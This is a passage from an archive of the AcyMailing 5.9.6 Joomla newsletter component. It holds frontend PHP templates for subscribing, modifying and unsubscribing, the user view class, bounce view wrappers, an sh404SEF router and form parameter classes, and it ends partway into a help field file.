    var hiddenInputs = document.getElementsByClassName('listsub-dropdown');
    for(var i = 0; i < hiddenInputs.length; i++) {
      hiddenInputs[i].value = '0';
      if(hiddenInputs[i].name == 'data[listsub][' + selectedListId + '][status]') {
        hiddenInputs[i].value = '1';
      }
    }
  }
</script>

com_acymailing/views/user/tmpl/modify.php000060400000014653152453734450014627 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><div id="acymodifyform">
	<?php
	if('joomla' == 'wordpress') acymailing_displayMessages();
	if($this->values->show_page_heading){
	?>
	<h1 class="contentheading<?php echo $this->values->suffix; ?>"><?php echo $this->values->page_heading; ?></h1>
	<?php } ?>
	<?php if(!empty($this->introtext)){ echo '<span class="acymailing_introtext">'.$this->introtext.'</span>'; } ?>
	<form action="<?php echo acymailing_frontendLink('user', false, acymailing_isNoTemplate(), true);?>" method="post" name="adminForm" id="adminForm" <?php if(!empty($this->fieldsClass->formoption)) echo $this->fieldsClass->formoption; ?> >
		<fieldset class="adminform acy_user_info">
			<legend><span><?php echo acymailing_translation( 'USER_INFORMATIONS' ); ?></span></legend>
			<div id="acyuserinfo">
			<?php if(acymailing_level(3)){
				if(!empty($this->subscriber->email)) $this->fieldsClass->currentUser = $this->subscriber;
				$tmpCatId = array();
				$tmpCatTag = array();
				foreach($this->extraFields as $fieldName => $oneExtraField) {
					if($oneExtraField->type == 'category'){
						if(empty($oneExtraField->fieldcat) && !empty($tmpCatId)){
							while(!empty($tmpCatId)){
								echo '</'.str_replace('fldset', 'fieldset', end($tmpCatTag)).'>';
								array_pop($tmpCatId);
								array_pop($tmpCatTag);
							}
						}
						$tmpCatId[] = $oneExtraField->fieldid;
						$tmpCatTag[] = $oneExtraField->options['fieldcattag'];
						echo '<'.str_replace('fldset', 'fieldset', end($tmpCatTag)).' class="fieldCategory '.$oneExtraField->options['fieldcatclass'].'" id="tr'.$oneExtraField->namekey.'">';
						if(in_array(end($tmpCatTag), array('fieldset', 'fldset'))) echo '<legend>'.$oneExtraField->fieldname.'</legend>';
					}else{
						if(in_array($oneExtraField->fieldcat, $tmpCatId) || empty($oneExtraField->fieldcat)){
							while(!empty($tmpCatId) && $oneExtraField->fieldcat != end($tmpCatId)){
								echo '</'.str_replace('fldset', 'fieldset', end($tmpCatTag)).'>';
								array_pop($tmpCatId);
								array_pop($tmpCatTag);
							}
						}
						echo '<div id="tr'.$fieldName.'" class="acy_onefield"><div class="acykey">'.$this->fieldsClass->getFieldName($oneExtraField).'</div>';
						echo '<div class="inputVal">';
						if(in_array($fieldName,array('name','email')) AND !empty($this->subscriber->userid)){echo $this->subscriber->$fieldName; }
						else{echo $this->fieldsClass->display($oneExtraField,@$this->subscriber->$fieldName,'data[subscriber]['.$fieldName.']'); }
						echo '</div></div>';
					}
				}
				$lastVal = end($tmpCatId);
				while(!empty($lastVal)){
					echo '</'.str_replace('fldset', 'fieldset', end($tmpCatTag)).'>';
					array_pop($tmpCatId);
					array_pop($tmpCatTag);
					$lastVal = end($tmpCatId);
				}
			}else{
				if(!empty($this->fieldsToDisplay) && (strpos($this->fieldsToDisplay, 'name') !== false || strpos($this->fieldsToDisplay, 'default') !== false || strpos($this->fieldsToDisplay, 'all') !== false)){ ?>
					<div id="trname" class="acy_onefield">
						<div class="acykey">
							<label for="field_name"><?php echo acymailing_translation( 'JOOMEXT_NAME' ); ?></label>
						</div>
						<div class="inputVal">
							<?php
							if(empty($this->subscriber->userid)){
									echo '<input type="text" name="data[subscriber][name]" id="field_name" class="inputbox" style="width:200px;" value="'.$this->escape(@$this->subscriber->name).'" />';
							}else{
								echo $this->subscriber->name;
							}
							?>
						</div>
					</div>
				<?php }
				if(!empty($this->fieldsToDisplay) && (strpos($this->fieldsToDisplay, 'email') !== false || strpos($this->fieldsToDisplay, 'default') !== false || strpos($this->fieldsToDisplay, 'all') !== false)){ ?>
					<div id="tremail" class="acy_onefield">
						<div class="acykey">
							<label for="field_email"><?php echo acymailing_translation( 'JOOMEXT_EMAIL' ); ?></label>
						</div>
						<div class="inputVal">
							<?php
							if(empty($this->subscriber->userid)){
								echo '<input class="inputbox" type="text" name="data[subscriber][email]" id="field_email" style="width:200px;" value="'.$this->escape(@$this->subscriber->email).'" />';
							}else{
								echo $this->subscriber->email;
							}
							?>
						</div>
					</div>
				<?php }
				if(!empty($this->fieldsToDisplay) && (strpos($this->fieldsToDisplay, 'html') !== false || strpos($this->fieldsToDisplay, 'default') !== false || strpos($this->fieldsToDisplay, 'all') !== false)){ ?>
					<div id="trhtml" class="acy_onefield">
						<div class="acykey">
							<label for="field_email"><?php echo acymailing_translation( 'RECEIVE' ); ?></label>
						</div>
						<div class="inputVal">
							<?php echo acymailing_boolean("data[subscriber][html]" , '',$this->subscriber->html,acymailing_translation('HTML'),acymailing_translation('JOOMEXT_TEXT'),'user_html'); ?>
						</div>
					</div>
				<?php }
			}
	?>
			</div>
		</fieldset>
		<?php if($this->displayLists){?>
		<fieldset class="adminform acy_subscription_list">
			<legend><span><?php echo acymailing_translation( 'SUBSCRIPTION' ); ?></span></legend>

			<?php if(empty($this->dropdown)) include('subs_default.php'); else include('subs_dropdown.php'); ?>
		</fieldset>
		<?php }

		?>

		<br />
		<input type="hidden" name="hiddenlists" value="<?php echo $this->hiddenlists; ?>"/>
		<?php
		$config = acymailing_config();
		$current = acymailing_getMenu();
		if(!empty($current)) echo '<input type="hidden" name="acy_source" value="menu_'.$current->id.'" />';

		acymailing_formOptions(); ?>
		<input type="hidden" name="subid" value="<?php echo $this->subscriber->subid; ?>" />
		<?php if(acymailing_getVar('cmd', 'tmpl') == 'component'){ ?><input type="hidden" name="tmpl" value="component" /><?php } ?>
		<input type="hidden" name="key" value="<?php echo $this->subscriber->key; ?>" />
		<p class="acymodifybutton">
			<input class="button btn btn-primary" type="submit" onclick="document.adminForm.task.value='savechanges';return checkChangeForm();" value="<?php echo empty($this->subscriber->subid) ? $this->escape(acymailing_translation('SUBSCRIBE')) :  $this->escape(acymailing_translation('SAVE_CHANGES'))?>"/>
		</p>
	</form>
	<?php if(!empty($this->finaltext)){ echo '<span class="acymailing_finaltext">'.$this->finaltext.'</span>'; } ?>
</div>

com_acymailing/views/user/tmpl/modify.xml000060400000006376152453734450014643 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="User : subscribe/modify your subscription">
		<message>This menu item enables your visitors or logged-in users to subscribe/modify their subscription.</message>
	</layout>
	<state>
		<name>User : subscribe/modify your subscription</name>
		<params addpath="/components/com_acymailing/params">
			<param name="lists" type="lists" default="All" label="VISIBLE_LISTS" description="The following selected lists will be displayed on your subscribe form." />
			<param name="listschecked" type="lists" default="All" label="LISTS_CHECKED_DEFAULT" description="The selected lists will be checked by default on your form." />
			<param name="hiddenlists" type="lists" default="None" label="AUTO_SUBSCRIBE_TO" description="The user will be automatically subscribed to the selected lists when registering with the form." />
			<param name="customfields" type="customfields" default="Default" label="DISP_FIELDS" description="The following selected fields will be displayed on your subscribe form." />
			<param name="@spacer" type="spacer" default="" label="" description="" />
			<param name="introtext" type="textarea" rows="5" cols="35" default="" label="INTRO_TEXT" description="This text will be displayed before the form inside a span class=acymailing_introtext" />
			<param name="finaltext" type="textarea" rows="5" cols="35" default="" label="POST_TEXT" description="This text will be displayed after the form inside a span class=acymailing_finaltext" />
			<param name="dropdown" type="radio" default="0" label="DROPDOWN_LISTS" description="Display the visible lists in a dropdown">
				<option value="0">JOOMEXT_NO</option>
				<option value="1">JOOMEXT_YES</option>
			</param>
		</params>
	</state>
	<fields name="params" addfieldpath="/components/com_acymailing/params">
		<fieldset name="basic">
			<field name="lists" type="lists" default="All" label="VISIBLE_LISTS" description="The following selected lists will be displayed on your subscribe form." />
			<field name="listschecked" type="lists" default="All" label="LISTS_CHECKED_DEFAULT" description="The selected lists will be checked by default on your form." />
			<field name="hiddenlists" type="lists" default="None" label="AUTO_SUBSCRIBE_TO" description="The user will be automatically subscribed to the selected lists when registering with the form." />
			<field name="customfields" type="customfields" default="Default" label="DISP_FIELDS" description="The following selected fields will be displayed on your subscribe form." />
			<field name="@spacer" type="spacer" default="" label="" description="" />
			<field name="introtext" type="textarea" rows="5" cols="35" default="" label="INTRO_TEXT" description="This text will be displayed before the form inside a span class=acymailing_introtext" filter="SAFEHTML" />
			<field name="finaltext" type="textarea" rows="5" cols="35" default="" label="POST_TEXT" description="This text will be displayed after the form inside a span class=acymailing_finaltext" filter="SAFEHTML" />
			<field name="dropdown" type="radio" default="0" label="DROPDOWN_LISTS" description="Display the visible lists in a dropdown">
				<option value="0">JOOMEXT_NO</option>
				<option value="1">JOOMEXT_YES</option>
			</field>
		</fieldset>
	</fields>
</metadata>

com_acymailing/views/user/tmpl/index.html000060400000000054152453734450014612 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/views/user/tmpl/confirm.php000060400000000412152453734450014761 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?>
com_acymailing/views/user/tmpl/confirm.xml000060400000000130152453734450014767 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout hidden="true" />
</metadata>
com_acymailing/views/user/tmpl/unsub.php000060400000007412152453734450014467 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><div id="unsubpage">
	<?php echo $this->intro; ?>
	<form action="<?php echo acymailing_frontendLink('user', false, acymailing_isNoTemplate(), true); ?>" method="post" name="adminForm" id="adminForm">
		<?php if($this->config->get('unsub_dispoptions', 1)){ ?>
			<div class="unsuboptions">
				<?php if(!empty($this->mailid)){ ?>
					<div id="unsublist_div" class="unsubdiv">
						<label for="unsublist"><input type="checkbox" value="1" name="unsublist" id="unsublist" disabled="disabled" checked="checked"/> <?php echo str_replace(array_keys($this->replace), $this->replace, acymailing_translation('UNSUB_CURRENT')); ?></label>
					</div>
				<?php } ?>
				<div id="unsuball_div" class="unsubdiv">
					<label for="unsuball"><input type="checkbox" value="1" name="unsuball" id="unsuball" <?php if(empty($this->mailid)) echo 'checked="checked"'; ?> /> <?php echo str_replace(array_keys($this->replace), $this->replace, acymailing_translation('UNSUB_ALL')); ?></label>

					<div id="unsubfull_div" class="unsubdiv">
						<label for="refuse"><input type="checkbox" value="1" name="refuse" id="refuse"/> <?php echo str_replace(array_keys($this->replace), $this->replace, acymailing_translation('UNSUB_FULL')); ?></label>
					</div>
				</div>
				<?php
				if(!empty($this->otherSubscriptions) && $this->config->get('unsub_dispothersubs', 0)){
					?>
					<div id="unsub_list_div" class="unsubdiv">
						<?php
						echo acymailing_translation('ACY_OTHERSUBSCRIPTIONS');
						$i = 0;
						foreach($this->otherSubscriptions as $oneSubscription){
							echo '<div><label for="unsubotherlists'.$i.'"><input type="checkbox" value="1" name="unsubotherlists[]" id="unsubotherlists'.$i.'" class="unsubotherlistscheckbox"/> '.$oneSubscription->name.'</label>';
							echo '<input type="hidden" value="'.$oneSubscription->listid.'" name="unsubotherlistsid[]" id="unsubotherlistsid'.$i.'"/></div>';
							$i++;
						}
						?>
					</div>
				<?php } ?>
			</div>
		<?php }else{
			echo '<input type="hidden" value="1" name="unsuball" />';
		}
		if($this->config->get('unsub_survey', 1)){ ?>
			<div class="unsubsurvey">
				<div class="unsubsurveytext"><?php echo str_replace(array_keys($this->replace), $this->replace, acymailing_translation('UNSUB_SURVEY')); ?></div>
				<?php $reasons = unserialize($this->config->get('unsub_reasons'));
				foreach($reasons as $i => $oneReason){
					if(preg_match('#^[A-Z_]*$#', $oneReason)){
						$trans = acymailing_translation($oneReason);
					}else{
						$trans = $oneReason;
					}
					echo '<div>';
					echo '<label for="reason'.$i.'"><input type="checkbox" value="'.$oneReason.'" name="survey[]" id="reason'.$i.'" /> '.$trans.'</label>';
					echo '</div>';
				} ?>
				<div id="otherreasons">
					<label for="other"><?php echo acymailing_translation('UNSUB_SURVEY_OTHER'); ?></label><br/>
					<textarea name="survey[]" id="other" style="width:300px;height:70px"></textarea>
				</div>
			</div>
		<?php } ?>
		<input type="hidden" name="subid" value="<?php echo $this->subscriber->subid; ?>"/>
		<input type="hidden" name="key" value="<?php echo $this->subscriber->key; ?>"/>
		<input type="hidden" name="mailid" value="<?php echo $this->mailid; ?>"/>
		<input type="hidden" name="Itemid" value="<?php echo acymailing_getVar('int', 'Itemid'); ?>"/>
		<?php acymailing_formOptions(); ?>
		<div id="unsubbutton_div" class="unsubdiv">
			<input class="acymailing_button_grey" onclick="acymailing.submitbutton('saveunsub');" type="submit" value="<?php echo acymailing_translation('UNSUBSCRIBE', true) ?>"/>
		</div>
	</form>
</div>
com_acymailing/views/user/tmpl/unsub.xml000060400000000130152453734450014466 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout hidden="true" />
</metadata>
com_acymailing/views/user/tmpl/subs_default.php000060400000001654152453734450016015 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><div id="acyusersubscription">
  <?php
  $k = 0;
  foreach($this->subscription as $row){
    if(empty($row->published) OR !$row->visible) continue;
    $listClass = 'acy_list_status_' . str_replace('-','m',(int) @$row->status);
    ?>
  <div class="<?php echo "row$k $listClass"; ?> acy_onelist">
    <div class="acystatus">
      <span><?php echo $this->status->display("data[listsub][".$row->listid."][status]",@$row->status); ?></span>
    </div>
    <div class="acyListInfo">
      <div class="list_name"><?php echo $row->name ?></div>
      <div class="list_description"><?php echo $row->description ?></div>
    </div>
  </div>
  <?php
    $k = 1 - $k;
  } ?>

</div>

com_acymailing/views/user/view.html.php000060400000021047152453734450014274 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php


class UserViewUser extends acymailingView{
	function display($tpl = null){
		$function = $this->getLayout();
		if(method_exists($this, $function)) $this->$function();

		parent::display($tpl);
	}

	function modify(){
		$values = new stdClass();
		$values->show_page_heading = 0;

		$listsClass = acymailing_get('class.list');
		$subscriberClass = acymailing_get('class.subscriber');

		$menu = acymailing_getMenu();

		if(is_object($menu)){
			$menuparams = new acyParameter($menu->params);

			if(!empty($menuparams)){
				$this->introtext = $menuparams->get('introtext');
				$this->finaltext = $menuparams->get('finaltext');
				$this->dropdown = $menuparams->get('dropdown');

				if($menuparams->get('menu-meta_description')) acymailing_addMetadata('description', $menuparams->get('menu-meta_description'));
				if($menuparams->get('menu-meta_keywords')) acymailing_addMetadata('keywords', $menuparams->get('menu-meta_keywords'));
				if($menuparams->get('robots')) acymailing_addMetadata('robots', $menuparams->get('robots'));
				if($menuparams->get('page_title')) acymailing_setPageTitle($menuparams->get('page_title'));

				$values->suffix = $menuparams->get('pageclass_sfx', '');
				$values->page_heading = ACYMAILING_J16 ? $menuparams->get('page_heading') : $menuparams->get('page_title');
				$values->show_page_heading = ACYMAILING_J16 ? $menuparams->get('show_page_heading', 0) : $menuparams->get('show_page_title', 0);
			}
		}

		$subscriber = $subscriberClass->identify(true);
		if(empty($subscriber)){
			$subscription = $listsClass->getLists('listid');
			$subscriber = new stdClass();
			$subscriber->html = 1;
			$subscriber->subid = 0;
			$subscriber->key = 0;

			if(!empty($subscription)){
				foreach($subscription as $id => $onesub){
					$subscription[$id]->status = 1;
					if(!empty($menuparams) && strtolower($menuparams->get('listschecked', 'all')) != 'all' && !in_array($id, explode(',', $menuparams->get('listschecked', 'all')))){
						$subscription[$id]->status = 0;
					}
				}
			}

			acymailing_addBreadcrumb(acymailing_translation('SUBSCRIPTION'));
			if(empty($menu)) acymailing_setPageTitle(acymailing_translation('SUBSCRIPTION'));
		}else{
			$subscription = $subscriberClass->getSubscription($subscriber->subid, 'listid');

			acymailing_addBreadcrumb(acymailing_translation('MODIFY_SUBSCRIPTION'));
			if(empty($menu)) acymailing_setPageTitle(acymailing_translation('MODIFY_SUBSCRIPTION'));
		}
		if(!empty($subscriber->email)) $subscriber->email = acymailing_punycode($subscriber->email, 'emailToUTF8');

		acymailing_initJSStrings();

		if(!empty($menuparams) AND strtolower($menuparams->get('lists', 'all')) != 'all'){
			$visibleLists = strtolower($menuparams->get('lists', 'all'));
			if($visibleLists == 'none'){
				$subscription = array();
			}else{
				$newSubscription = array();
				$visiblesListsArray = explode(',', $visibleLists);
				foreach($subscription as $id => $onesub){
					if(in_array($id, $visiblesListsArray)) $newSubscription[$id] = $onesub;
				}
				$subscription = $newSubscription;
			}
		}


		if(!acymailing_level(3)){
			if(!empty($menuparams) && strtolower($menuparams->get('customfields', 'default')) != 'default'){
				$fieldsToDisplay = strtolower($menuparams->get('customfields', 'default'));
				$this->fieldsToDisplay = $fieldsToDisplay;
			}else{
				$this->fieldsToDisplay = 'default';
			}
		}

		$hiddenLists = '';
		if(!empty($menuparams)){
			$hiddenLists = trim($menuparams->get('hiddenlists', 'None'));
			if(empty($subscriber)){
				$allLists = $listsClass->getLists('listid');
			}else $allLists = $subscriberClass->getSubscription($subscriber->subid, 'listid');

			$hiddenListsArray = array();
			if(strpos($hiddenLists, ',') || is_numeric($hiddenLists)){
				$allhiddenlists = explode(',', $hiddenLists);
				foreach($allLists as $oneList){
					if(!$oneList->published || !in_array($oneList->listid, $allhiddenlists)) continue;
					$hiddenListsArray[] = $oneList->listid;
					unset($subscription[$oneList->listid]);
				}
			}elseif(strtolower($hiddenLists) == 'all'){
				$subscription = array();
				foreach($allLists as $oneList){
					if(!empty($oneList->published)) $hiddenListsArray[] = $oneList->listid;
				}
			}
			$hiddenLists = implode(',', $hiddenListsArray);
		}

		$defaultSubscription = $subscription;
		$forceLists = acymailing_getVar('string', 'listid', '');
		if(!empty($forceLists)){
			$subscription = array();
			$forceLists = explode(',', $forceLists);
			foreach($forceLists as $oneList){
				if(!empty($defaultSubscription[$oneList])){
					$subscription[$oneList] = $defaultSubscription[$oneList];
				}
			}
		}
		$forceHiddenLists = acymailing_getVar('string', 'hiddenlist', '');
		if(!empty($forceHiddenLists)){
			$forceHiddenLists = explode(',', $forceHiddenLists);
			$tmpList = array();
			$defaultHidden = explode(',', $hiddenLists);
			foreach($forceHiddenLists as $oneList){
				if(!empty($defaultSubscription[$oneList]) || in_array($oneList, $defaultHidden)){
					$tmpList[] = $oneList;
				}
			}
			$hiddenLists = implode(',', $tmpList);
		}

		$displayLists = false;
		foreach($subscription as $oneSub){
			if(!empty($oneSub->published) AND $oneSub->visible){
				$displayLists = true;
				break;
			}
		}

		$this->hiddenlists = $hiddenLists;
		$this->values = $values;
		$this->status = acymailing_get('type.festatus');
		$this->subscription = $subscription;
		$this->subscriber = $subscriber;
		$this->displayLists = $displayLists;
		$this->config = acymailing_config();
	}

	function saveunsub(){
		$subscriberClass = acymailing_get('class.subscriber');
		$subscriber = $subscriberClass->identify();
		$this->subscriber = $subscriber;

		$listid = acymailing_getVar('int', 'listid');
		if(!empty($listid)){
			$listClass = acymailing_get('class.list');
			$mylist = $listClass->get($listid);
			$this->list = $mylist;
		}
	}


	function unsub(){

		$subscriberClass = acymailing_get('class.subscriber');
		$config = acymailing_config();
		$this->config = $config;

		$subscriber = $subscriberClass->identify();
		$this->subscriber = $subscriber;

		$mailid = acymailing_getVar('int', 'mailid');
		$this->mailid = $mailid;

		$query = 'SELECT l.listid, l.name FROM '.acymailing_table('list').' as l';
		$query .= ' JOIN '.acymailing_table('listsub').' AS ls ON ls.listid = l.listid AND ls.subid = '.acymailing_getVar('int', 'subid');
		$query .= ' WHERE l.type = \'list\' AND (ls.unsubdate < ls.subdate OR ls.unsubdate IS NULL) AND l.visible = 1 AND l.published = 1';
		$query .= ' ORDER BY l.ordering ASC';

		$otherSubscriptions = acymailing_loadObjectList($query);

		$query = 'SELECT lm.listid FROM '.acymailing_table('mail').' AS m INNER JOIN '.acymailing_table('listmail').' AS lm ON m.mailid = lm.mailid WHERE m.mailid = '.acymailing_getVar('int', 'mailid');
		$listsToDeny = acymailing_loadObjectList($query);

		if(!empty($otherSubscriptions)){
			$i = 0;
			foreach($otherSubscriptions as $anotherSubscription){
				foreach($listsToDeny as $oneListToDeny){
					if($anotherSubscription->listid == $oneListToDeny->listid){
						unset($otherSubscriptions[$i]);
						continue;
					}
				}
				$i++;
			}
		}

		$this->otherSubscriptions = $otherSubscriptions;

		$replace = array();
		$replace['{list:name}'] = '';
		foreach($subscriber as $oneProp => $oneVal){
			$replace['{user:'.$oneProp.'}'] = $oneVal;
			$replace['{user:'.$oneProp.' | ucwords}'] = ucwords($oneVal);
		}

		if(!empty($mailid)){
			$classListmail = acymailing_get('class.listmail');
			$lists = $classListmail->getLists($mailid);
			$this->lists = $lists;
			if(!empty($lists)){
				$oneList = reset($lists);
				foreach($oneList as $oneProp => $oneVal){
					$replace['{list:'.$oneProp.'}'] = $oneVal;
				}
			}

			$mailClass = acymailing_get('class.mail');
			$news = $mailClass->get($mailid);
			if(!empty($news)){
				foreach($news as $oneProp => $oneVal){
					if(!is_string($oneVal)) continue;
					$replace['{mail:'.$oneProp.'}'] = $oneVal;
				}
			}
		}

		$intro = str_replace('UNSUB_INTRO', acymailing_translation('UNSUB_INTRO'), $config->get('unsub_intro', 'UNSUB_INTRO'));
		$intro = ' <div class="unsubintro" > '.nl2br(str_replace(array_keys($replace), $replace, $intro)).'</div> ';
		$this->intro = $intro;

		$this->replace = $replace;


		$unsubtext = str_replace(array_keys($replace), $replace, acymailing_translation('UNSUBSCRIBE'));
		acymailing_addBreadcrumb($unsubtext);

		acymailing_setPageTitle($unsubtext);
	}
}
com_acymailing/views/user/index.html000060400000000054152453734450013636 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/views/frontbounces/tmpl/chart.php000060400000000527152453734450016165 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php
include(ACYMAILING_BACK.'views'.DS.'bounces'.DS.'tmpl'.DS.'chart.php');
com_acymailing/views/frontbounces/tmpl/index.html000060400000000054152453734450016343 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/views/frontbounces/view.html.php000060400000001031152453734450016014 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php
include(ACYMAILING_BACK.'views'.DS.'bounces'.DS.'view.html.php');

class FrontbouncesViewFrontbounces extends BouncesViewBounces{

	var $ctrl='frontbounces';

	function display($tpl = null){
		global $Itemid;
		$this->Itemid = $Itemid;
		parent::display($tpl);
	}
}
com_acymailing/views/frontbounces/index.html000060400000000054152453734450015367 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/sef_ext/index.html000060400000000054152453734450013160 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/sef_ext/com_acymailing.php000060400000003746152453734450014662 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

	if(!class_exists('Sh404sefFactory') || !method_exists('Sh404sefFactory','getConfig')){
		$dosef = false;
		return;
	}

	global $sh_LANG;
	$sefConfig = &Sh404sefFactory::getConfig();
	$shLangName = '';
	$shLangIso = '';
	$shItemidString = '';
	$acysefview = array('frontsubscriber','archive','lists','frontnewsletter','newsletter','user','frontdata','frontstats','frontstatsurl');

	$dosef = shInitializePlugin( $lang, $shLangName, $shLangIso, $option);

	if(!$dosef) return;

	if(isset($view)){
		if(!in_array($view, $acysefview)) $dosef = false;
		shRemoveFromGETVarsList('view');
	}

	if(isset($ctrl)){
		if(!in_array($ctrl, $acysefview)) $dosef = false;
		shRemoveFromGETVarsList('ctrl');
	}

	$title = array();

	$title[] = getMenuTitle($option, (isset($view) ? $view : null), (isset($Itemid) ? $Itemid : null), null, $shLangName);

	if(isset($layout)){ $title[] = $layout; shRemoveFromGETVarsList('layout'); }
	if(isset( $task )){ $title[] = $task; shRemoveFromGETVarsList('task'); }
	if(isset($listid)){ $title[] = $listid; shRemoveFromGETVarsList('listid'); }
	if(isset($mailid) && !(isset($task) && $task == 'edit' && isset($ctrl) && $ctrl == 'frontnewsletter')){ $title[] = $mailid; shRemoveFromGETVarsList('mailid'); }

	if(isset($option)) shRemoveFromGETVarsList('option');
	if(isset($lang)) shRemoveFromGETVarsList('lang'); // Already handled by sh404SEF
	if(isset($Itemid)) shRemoveFromGETVarsList('Itemid'); else $dosef = false; // There must be the Itemid


	if($dosef && !empty($title)){
		$string = shFinalizePlugin( $string, $title, $shAppendString, $shItemidString,
		(isset($limit) ? $limit : null), (isset($limitstart) ? $limitstart : null),
		(isset($shLangName) ? $shLangName : null), (isset($showall) ? $showall : null));
	}
com_acymailing/params/testplug.php000060400000002450152453734450013373 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php
if(!include_once(rtrim(JPATH_ADMINISTRATOR,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.'components'.DIRECTORY_SEPARATOR.'com_acymailing'.DIRECTORY_SEPARATOR.'helpers'.DIRECTORY_SEPARATOR.'helper.php')){
	echo 'This module can not work without the AcyMailing Component';
}

if(!ACYMAILING_J16){

	class JElementTestplug extends JElement
	{
		function fetchElement($name, $value, &$node, $control_name)
		{
			$link = 'index.php?option=com_acymailing&amp;tmpl=component&amp;ctrl=cpanel&amp;task=plgtrigger&amp;plg='.$value.'&amp;plgtype='.$name;
			return acymailing_popup($link, '<button class="btn" onclick="return false">Click here</button>', '', 650, 375);
		}
	}
}else{
	class JFormFieldTestplug extends JFormField
	{
		var $type = 'testplug';

		function getInput() {
			$link = 'index.php?option=com_acymailing&amp;tmpl=component&amp;ctrl=cpanel&amp;task=plgtrigger&amp;plg='.$this->value.'&amp;plgtype='.$this->fieldname;
			return acymailing_popup($link, '<button class="btn" onclick="return false">Click here</button>', '', 650, 375);
		}
	}
}
com_acymailing/params/customfields.php000060400000003510152453734450014223 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php
if(!include_once(rtrim(JPATH_ADMINISTRATOR,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.'components'.DIRECTORY_SEPARATOR.'com_acymailing'.DIRECTORY_SEPARATOR.'helpers'.DIRECTORY_SEPARATOR.'helper.php')){
	echo 'This module can not work without the AcyMailing Component';
}

if(!ACYMAILING_J16){

	class JElementCustomfields extends JElement
	{
		function fetchElement($name, $value, &$node, $control_name)
		{
			$link = 'index.php?option=com_acymailing&amp;tmpl=component&amp;ctrl='.(acymailing_isAdmin() ? '' : 'front').'chooselist&amp;task=customfields&amp;values='.$value.'&amp;control='.$control_name;
			$text = '<input class="inputbox" id="'.$control_name.'customfields" name="'.$control_name.'['.$name.']" type="text" style="width:100px" value="'.$value.'">';
			$text .= acymailing_popup($link, '<button class="btn" onclick="return false">'.acymailing_translation('Select').'</button>', '', 650, 375, 'link'.$control_name.'customfields');

			return $text;

		}
	}
}else{
	class JFormFieldCustomfields extends JFormField
	{
		var $type = 'help';

		function getInput() {
			$link = 'index.php?option=com_acymailing&amp;tmpl=component&amp;ctrl='.(acymailing_isAdmin() ? '' : 'front').'chooselist&amp;task=customfields&amp;values='.$this->value.'&amp;control=';
			$text = '<input class="inputbox" id="customfields" name="'.$this->name.'" type="text" style="width:100px" value="'.$this->value.'">';
			$text .= acymailing_popup($link, '<button class="btn" onclick="return false">'.acymailing_translation('Select').'</button>', '', 650, 375, 'linkcustomfields');

			return $text;

		}
	}
}
com_acymailing/params/help.php000060400000002462152453734450012457 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

